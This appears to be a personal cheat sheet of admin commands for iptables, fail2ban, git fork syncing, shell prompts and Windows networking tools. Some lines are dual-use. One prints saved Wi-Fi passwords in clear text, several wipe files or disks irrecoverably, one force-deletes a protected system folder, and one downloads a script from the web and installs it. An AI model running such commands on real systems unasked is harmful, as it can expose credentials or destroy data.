List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):
$ sudo iptables -L -n --line-numbers [-t filter]
Print rules for all chains (for a specific chains):
$ sudo iptables -S [INPUT [1]]
# Filters location which turn into *user-defined* fail2ban iptables rules (automatically)
/etc/fail2ban/filter.d
# Status
$ sudo service fail2ban status
$ sudo fail2ban-client status
$ sudo fail2ban-client status sshd
# Unban all
$ sudo fail2ban-client unban --all
Syncing a forked repository:
$ git remote add upstream https://github.com/original/repository.git
$ git fetch upstream
$ git checkout master
$ git rebase upstream/master (git merge upstream/master)
$ git push -f origin master
$ git checkout -b dev upstream/dev
$ git rebase upstream/dev (git merge upstream/dev)
$ git push -f origin dev
$ script tool-$(date "+%FT%H%M%S").script
bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh
~/.bashrc
(replace !
with %
):
PS1='${debian_chroot:!($debian_chroot)}[\D!d}|\D{!k:!M}] \[\033[01;32m\]λ \[\033[00m\]\[\033[01;34m\]\w\[\033[00m\] '
$ZSH_CUSTOM/themes/robbyrussell.zsh-theme
(replace !
with %
):
PROMPT="!(?:!{$fg_bold[green]!}➜ :!{$fg_bold[red]!}➜ ) "
PROMPT+='!{$fg[cyan]!}!(4~|!-1~/…/!2~|!3~)!{$reset_color!} $(git_prompt_info)'
if lsof -tac script "$(tty)" > /dev/null; then
PROMPT="[!D{!d}|!D{!k:!M}]* $PROMPT"
else
PROMPT="[!D{!d}|!D{!k:!M}] $PROMPT"
fi
$ sudo apt-get install cmatrix
$ wget -O screenfetch https://raw.github.com/KittyKatt/screenFetch/master/screenfetch-dev
$ chmod +x screenfetch
$ sudo mv screenfetch /usr/bin
Cmd > cipher /w:H
File:
Cmd > sdelete -p 7 testfile.txt
Directory (recursively):
Cmd > sdelete -p 7 -r "C:\temp"
Disk or partition:
Cmd > sdelete -p 7 -c H:
Cmd > perfmon /res
Cmd > netstat -b
Cmd > netstat -ano
Cmd > route print [-4]
Cmd > netsh int ip reset
Cmd > netsh int tcp reset
Cmd > ipconfig /flushdns
Cmd > netsh winsock reset
Cmd > route -f
[Cmd> ipconfig -renew]
Hide/unhide computer name on LAN:
Cmd > net config server
Cmd > net config server /hidden:yes
Cmd > net config server /hidden:no
(+ reboot)
Cmd > mklink Link <FILE>
Cmd > mklink /D Link <DIRECTORY>
> netsh wlan show profiles
> netsh wlan show profiles "ESSID" key=clear
PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize > InstalledSoftware.txt
PS > Get-Item 'file.txt' -Stream *
PS > Get-Content 'file.txt' -Stream Password
Or
PS > type 'file.txt:Password'
secpol.msc -- "Local Security Policy" -- «Локальная политика безопасности»
gpedit.msc -- "Local Group Policy Editor" -- «Редактор локальной групповой политики»
lusrmgr.msc -- "Local Users and Groups (Local)" -- «Локальные пользователи и группы (локально)»
certmgr.msc -- "Certificates - Current User" -- «Сертификаты - текущий пользователь»
Run:
rundll32.exe keymgr.dll, KRShowKeyMgr
Take own of a directory and remove it (run cmd.exe as admin):
Cmd > takeown /F C:\$Windows.~BT\* /R /A
Cmd > icacls C:\$Windows.~BT\*.* /T /grant administrators:F
Cmd > rmdir /S /Q C:\$Windows.~BT\
Cmd > DISM /online /Enable-Feature /FeatureName:TelnetClient